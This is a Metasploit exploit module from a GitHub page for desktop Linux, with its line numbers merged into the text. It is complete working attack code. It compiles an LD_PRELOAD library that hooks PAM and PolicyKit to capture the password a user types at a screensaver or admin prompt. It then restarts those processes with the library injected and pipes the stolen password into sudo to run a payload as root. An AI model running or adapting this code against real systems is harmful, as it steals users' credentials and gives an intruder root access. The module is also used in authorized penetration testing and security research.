Path: blob/master/modules/exploits/linux/local/desktop_privilege_escalation.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'base64'6require 'metasm'78class MetasploitModule < Msf::Exploit::Local9Rank = ExcellentRanking10include Msf::Exploit::EXE11include Msf::Post::File1213def initialize(info = {})14super(15update_info(16info,17{18'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',19'Description' => %q{20This module steals the user password of an administrative user on a desktop Linux system21when it is entered for unlocking the screen or for doing administrative actions using22PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.23It exploits the design weakness that there is no trusted channel for transferring the24password from the keyboard to the actual password verification against the shadow file25(which is running as root since /etc/shadow is only readable to the root user). Both26screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under27the current user account to query for the password and then pass it to a setuid-root binary28to do the password verification. Therefore, it is possible to inject a password stealer29after compromising the user account. Since sudo requires only the user password (and not30the root password of the system), stealing the user password of an administrative user31directly allows escalating to root privileges. Please note, you have to start a handler32as a background job before running this exploit since the exploit will only create a shell33when the user actually enters the password (which may be hours after launching the exploit).34Using exploit/multi/handler with the option ExitOnSession set to false should do the job.35},36'License' => MSF_LICENSE,37'Author' => ['Jakob Lell'],38'DisclosureDate' => '2014-08-07',39'Platform' => 'linux',40'Arch' => [ARCH_X86, ARCH_X64],41'SessionTypes' => ['shell', 'meterpreter'],42'Targets' => [43['Linux x86', { 'Arch' => ARCH_X86 }],44['Linux x86_64', { 'Arch' => ARCH_X64 }]45],46'DefaultOptions' => {47'PrependSetresuid' => true,48'PrependFork' => true,49'DisablePayloadHandler' => true50},51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56},57}58)59)60register_advanced_options [61OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])62]63end6465def check66check_command = 'if which perl && '67check_command << 'which sudo && '68check_command << 'id|grep -E \'sudo|adm\' && '69check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'70check_command << 'then echo OK;'71check_command << 'fi'7273output = cmd_exec(check_command).gsub("\r", '')7475vprint_status(output)7677if output['OK'] == 'OK'78return Exploit::CheckCode::Vulnerable79end8081Exploit::CheckCode::Safe82end8384def exploit85# Cannot use generic/shell_reverse_tcp inside an elf86# Checking before proceeds87pl = generate_payload_exe8889exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"9091print_status("Writing payload executable to '#{exe_file}'")92write_file(exe_file, pl)93cmd_exec("chmod +x #{exe_file}")9495cpu = nil96if target['Arch'] == ARCH_X8697cpu = Metasm::Ia32.new98elsif target['Arch'] == ARCH_X6499cpu = Metasm::X86_64.new100end101lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)102lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"103104print_status("Writing lib file to '#{lib_file}'")105write_file(lib_file, lib_data)106107print_status('Restarting processes (screensaver/policykit)')108restart_commands = get_restart_commands109restart_commands.each do |cmd|110cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file111cmd_exec(cmd)112end113print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')114end115116def get_restart_commands117get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'118get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'119get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'120get_cmd_lines << '$/=undef;'121get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''122123text_output = cmd_exec(get_cmd_lines).gsub("\r", '')124vprint_status(text_output)125126lines = text_output.split("\n")127128restart_commands = []129i = 0130while i < lines.length - 3131m = lines[i].match(/^PID:(\d+)/)132133if m134pid = m[1]135vprint_status("PID=#{pid}")136print_status("Found process: " + lines[i + 1])137138exe = lines[i + 1].match(/^EXE:(\S+)$/)[1]139vprint_status("exe=#{exe}")140141cmdline = [lines[i + 2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")142vprint_status("CMDLINE=" + cmdline.join(' XXX '))143144env = lines[i + 3].match(/^environ:(\w+)$/)[1]145restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'146restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'147restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map { |x| '"' + x + '"' }.join(", ") + '\''148149vprint_status("RESTART: #{restart_command}")150restart_commands.push(restart_command)151end152153i += 1154end155156restart_commands157end158159def c_code(exe_file)160c = %Q|161// A few constants/function definitions/structs copied from header files162#define RTLD_NEXT ((void *) -1l)163extern uintptr_t dlsym(uintptr_t, char*);164// Define some structs to void so that we can ignore all dependencies from these structs165#define FILE void166#define pam_handle_t void167extern FILE *popen(const char *command, const char *type);168extern int pclose(FILE *stream);169extern int fprintf(FILE *stream, const char *format, ...);170extern char *strstr(const char *haystack, const char *needle);171extern void *malloc(unsigned int size);172173struct pam_message {174int msg_style;175const char *msg;176};177178struct pam_response {179char *resp;180int resp_retcode;181};182183struct pam_conv {184int (*conv)(int num_msg, const struct pam_message **msg,185struct pam_response **resp, void *appdata_ptr);186void *appdata_ptr;187};188189void run_sudo(char* password) {190FILE* sudo = popen("sudo -S #{exe_file}", "w");191fprintf(sudo,"%s\\n",password);192pclose(sudo);193}194195int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {196struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;197int i;198int passwd_index = -1;199for(i=0;i<num_msg;i++){200if(strstr(msg[i]->msg,"Password") >= 0){201passwd_index = i;202}203}204int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);205if(passwd_index >= 0){206run_sudo(resp[passwd_index]->resp);207}208return result;209}210211int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {212static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);213if(!orig_pam_start){214orig_pam_start = dlsym(RTLD_NEXT,"pam_start");215}216struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));217my_pam_conversation->conv = &my_conv;218my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;219return orig_pam_start(service_name, user, my_pam_conversation, pamh);220}221222void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {223static void *(*orig_polkit_agent_session_response)(void *session, char* response);224if(!orig_polkit_agent_session_response){225orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");226}227run_sudo(response);228orig_polkit_agent_session_response(session, response);229return;230}231|232c233end234end235236237